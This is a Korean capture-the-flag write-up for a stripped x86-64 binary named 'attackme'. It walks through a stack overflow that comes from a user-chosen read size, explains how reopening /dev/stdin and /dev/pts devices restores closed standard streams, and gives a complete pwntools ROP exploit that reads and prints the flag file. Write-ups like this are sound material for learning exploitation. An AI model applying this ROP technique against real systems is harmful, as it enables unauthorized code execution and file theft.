문제
attackme 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
file 명령어의 결과는 다음과 같다.
attackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0620e5b122fd043e5a40e181f3f3adf29e6f4c1, stripped
바이너리 코드
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rbp-30h]
...
sub_400986(byte_601040,0x80); // fgets(byte_601040,0x80,stdin); "\x0a" NULL로 replace
...
_printf_chk(1,"Input offset: ");
v6 = sub_4009DB(); // fgets(&nptr,0x20,stdin); return atoi(&nptr);
_printf_chk(1,"Input size: ");
v5 = sub_4009DB();
sub_4008FD(&v4,byte_601040,v6,v5);
sub_4008D8(); // close(0); close(1); close(2)
}
sub_4008FD()
int __fastcall sub_4008FD(void *a1, const char *a2, __off_t a3, __int64 a4)
{
offset = a3;
nbytes = a4;
fd = open(a1,0);
if (fd == -1)
return;
lseek(fd,offset,0);
if(read(fd,a1,nbytes) > 0 )
puts("Load file complete!");
return close(fd);
}
sub_4008FD() 함수에서 nbytes 값을 내 마음대로 설정할 수 있기 때문에 bof를 통해서 main 함수의 ret를 overwrite할 수 있다.
하지만 sub_4008D8() 함수에서 stdin, stdout, stderr 를 모두 close() 하기 때문에 입출력 파일을 다시 open 해줘야 한다.
심볼릭 링크 관계 : /dev/stdin -> /proc/self/fd/0 -> /dev/pts/숫자
즉, 프로세스의 입력은 /dev/pts/숫자 파일을 통해서 처리된다. 따라서 /dev/stdin, /proc/self/fd/0, /dev/pts/숫자 중 하나의 파일을 open 하고 해당 파일 디스크립터를 read 함수의 인자로 넣어주면 read(0,buf,size)
와 동일한 동작을 수행한다.
/proc/self/fd/1 과 /proc/self/fd/2도 /proc/self/fd/0과 동일한 /dev/pts/숫자 파일에 심볼릭 링크되어 있다.
그런데 pwntools의 process를 이용하면 /proc/self/fd/0 가 pipe에 심볼릭 링크되어 있다. (/proc/self/fd/1, /proc/self/fd/2는 /dev/pts/숫자 파일에 심볼릭 링크 걸려있음)
즉, process 함수로 생성된 객체는 프로세스와 pipe를 통해서 입력을 준다.
이는 process의 stdin default 옵션이 pipe여서 그렇다. (stdin 옵션을 PTY로 바꾸면 /dev/pts 를 통해서 입력을 준다.)
그리고 daemon으로 돌고 있는 경우 /proc/self/fd/0 ~ 2 은 socket에 링크되어 있다.
나는 그냥 flag만 읽는 것으로 payload를 구성했다. (사실 뭔가 원래 문제에서는 /proc/self/fd/0 ~1의 심볼릭 링크에 대해서 따로 처리를 해준 것 같다. 그게 아니면 /dev/pts/숫자를 open 한다고 해서 출력 결과가 나한테 올 것 같지가 않다. remote 환경에서는 1번이 socket에 링크되어 있으므로… => 아마도 socket이 /dev/pts/숫자에 링크되어 있는듯…)
exploit 방법
- /dev/stdin 파일을 open하고 read 함으로써 bof를 발생시킨다.
- ROPgadget을 구성
- /dev/pts/숫자 파일을 두 번 open한다.
- 프로세스에 해당하는 /dev/pts/숫자를 open했으면 문자열 출력하도록 한다. (잘못된 파일을 open하면 출력되지 않고, 이 경우에는 process를 close 한다.)
- flag 파일을 open하고 bss_section에 flag 파일을 read한다. 마지막으로 flag 내용이 쓰여진 bss_section을 출력한다.
- 프로세스에 해당하는 /dev/pts/숫자를 찾을 때까지 1 -2를 반복한다.
풀이
#!/usr/bin/python
from pwn import *
import time
file_path = "/home/sungyun/round3/load/attackme"
puts_plt=0x4006c0
puts_got=0x600fa0
prdi=0x0000000000400a73
prsip=0x0000000000400a71
open_plt=0x0000000000400710
bss_sec=0x6011b0
pts_path=0x601040+0x10
read_plt=0x4006e8
num=0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
while(1):
p=process(file_path)
#num=raw_input()
#num=num[:-1]
p.recvuntil("name: ")
file_name = "/dev/pts/"+str(num)
#file_name="/dev/pts/"+num
p.sendline("/dev/stdin"+"\x00"+"AAAAA"+file_name+"\x00"+"flag"+"\x00")
p.recvuntil("offset: ")
p.sendline("0")
p.recvuntil("size: ")
pay="A"*0x30
pay+=p64(pts_path+0x30+8)
pay+=p64(prdi)
pay+=p64(pts_path)
pay+=p64(prsip)
pay+=p64(2)
pay+="A"*8
pay+=p64(open_plt) # open fd 0
pay+=p64(prdi)
pay+=p64(pts_path)
pay+=p64(prsip)
pay+=p64(2)
pay+="A"*8
pay+=p64(open_plt) # open fd 1
pay+=p64(prdi) #puts_got leak
pay+=p64(puts_got)
pay+=p64(puts_plt)
pay+=p64(prdi)
pay+=p64(pts_path+10+len(str(num)))
pay+=p64(prsip)
pay+=p64(2)
pay+="A"*8
pay+=p64(open_plt) # open flag
pay+=p64(prdi)
pay+=p64(2)
pay+=p64(prsip)
pay+=p64(bss_sec)
pay+="A"*8
pay+=p64(read_plt) # read flag
pay+=p64(prdi)
pay+=p64(bss_sec)
pay+=p64(puts_plt) # puts flag
p.sendline(str(len(pay)))
time.sleep(0.1)
p.send(pay)
#p.recvuntil("complete!\n",timeout=0.5) # 처음에 open하는 파일을 /dev/pts/숫자로 한 경우 잘못된 숫자를 넣으면 attackme 프로세스가 read에서 계속 머물러 있기 때문에 timeout을 해줘야한다.
p.recvuntil("complete!\n") # /dev/stdin을 open한 경우
try:
puts=p.recvline()
puts=puts[::-1]
puts=puts[1:]
puts=int(puts.encode('hex'),16)
break
except:
p.close()
num = num + 1
print p.recvline()
알게 된 것
- /dev/tty : 현재 콘솔 장치, 현재 콘솔 세션을 의미 (사용자의 터미널을 의미)
- /dev/pts : SSH 접속 콘솔 장치 (원격 터미널 환경)
- /usr/bin/tty : 터미널 확인 리눅스 명령어 (표준 입력에 접속된 터미널 장치 파일명 출력)